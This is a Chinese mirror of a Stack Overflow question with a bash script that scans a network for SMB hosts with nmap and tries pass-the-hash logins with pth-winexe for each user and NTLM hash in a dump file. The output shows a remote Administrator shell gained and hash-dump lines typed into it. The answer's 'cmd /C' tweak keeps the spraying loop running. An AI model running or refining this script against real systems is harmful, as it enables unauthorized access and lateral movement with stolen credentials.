linux - Bash - 很好地退出 Windows 命令提示符

标签 linux windows bash for-loop exit

我有一个带有 foreach 循环的 bash 脚本,它会尝试登录各种不同的用户帐户,并在成功登录时通知我。成功登录后,我将获得 Windows 命令提示符作为返回。

这就是我的问题开始的地方,因为一旦成功登录而不是退出 Windows 命令提示符,然后继续尝试登录其他帐户,这些命令实际上是在 Windows 命令提示符中输入的,并且显然不起作用。

我的代码:

#!/bin/bash

echo "[*] Usage : $0 <hashfile> <ip or iprange>"
hashfile=$1
iprange=$2

echo "[*] Trying to login "

for host in $(nmap -p 139,445 $iprange -oG - | grep [0-9]/open | cut -d ' ' -f2); do
    while IFS=: read -r smbuser f2 f3 f4 rest; do
        smbhash="${f3}:${f4}"
        echo
        echo "[+] DOING $smbuser@$host with HASH: $smbhash"
        pth-winexe -U $smbuser%$smbhash //$host cmd;  #the code that tries to login
    done < "$hashfile"
done

脚本输出:

    [+] DOING lisa@192.168.1.22 with HASH: c1e4767bca5d1200aad3b435b51404ee:8280f06d9948afe0ea8eee72304de490
    E_md4hash wrapper called.
    HASH PASS: Substituting user supplied NTLM HASH...
    ERROR: Failed to open connection - NT_STATUS_LOGON_FAILURE

    [+] DOING mark@192.168.1.22 with HASH: 6ff8898d3889a0edaad3b435b51404ee:6a0426f4d83012b9705d6c103bfb0db9
    E_md4hash wrapper called.
    HASH PASS: Substituting user supplied NTLM HASH...
    ERROR: Failed to open connection - NT_STATUS_LOGON_FAILURE

    [+] DOING Administrator@192.168.1.23 with HASH: 7bfd3ee62cbb0eba886450c5d6c50f12:f3acbe7ec27aadbe8deeaa0c651a64af
    E_md4hash wrapper called.
    HASH PASS: Substituting user supplied NTLM HASH...
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.

    C:\WINNT\system32>alice:1008:7025c6546ad4eaf2944e2df489a880e4:5569fc0d643cda8944c18fb1abbfc3f4:::
    The filename, directory name, or volume label syntax is incorrect.
    The filename, directory name, or volume label syntax is incorrect.

    C:\WINNT\system32>backup:1006:16ac416c2658e00daad3b435b51404ee:938df8b296dd15d0dce8eaa37be593e0:::

    C:\WINNT\system32>david:1009:aebd4de384c7ec43aad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
    The filename, directory name, or volume label syntax is incorrect.
    The filename, directory name, or volume label syntax is incorrect.

    C:\WINNT\system32>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

    C:\WINNT\system32>IUSR_SRV2:1002:f7d96ebcbe5b6be3103ccb00190f6271:09ff503707453d56bb69f40bef542da0:::

    The filename, directory name, or volume label syntax is incorrect.
    The filename, directory name, or volume label syntax is incorrect.

    C:\WINNT\system32>

您可以在上面显示的脚本输出中看到,当 Administrator@192.168.1.23 with HASH: 7bfd3ee62cbb0eba886450c5d6c50f12:f3acbe7ec27aadbe8deeaa0c651a64af 工作并为我提供 C:/Windows/system32 提示时,脚本未实现这并继续没有意识到正在 Windows 命令提示符中输入命令。

我的问题:

当成功登录并出现 Windows 命令提示符(例如 C:\Windows\system32)时,我该如何退出刚刚获得的 Windows 命令提示符并获取 bash 脚本以继续执行登录的其余部分尝试。

最佳答案

您可以将 cmd 命令更改为 cmd/C,因为这会导致 shell 立即终止。

参见此处:http://ss64.com/nt/cmd.html

关于linux - Bash - 很好地退出 Windows 命令提示符,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26058822/

相关文章:

c - 关于锁定 fread/fwrite 并从不同进程调用

linux - While 语句有助于 bash 脚本编写

Linux:匹配一个表达式,然后删除整个相关 block

windows - 在 Windows 中枚举线程

bash - Packer 和安装后脚本

regex - 正则表达式删除最后两个破折号的输出

ruby-on-rails - 带有 RailsInstaller 的 Ruby,无法在 Windows 上构建 gem native 扩展

windows - 如何使用 Windows PC 作为蓝牙隐藏?

linux - Bash 中的 If then else 文件类型

bash ->(大于)在命令行开头的具体作用是什么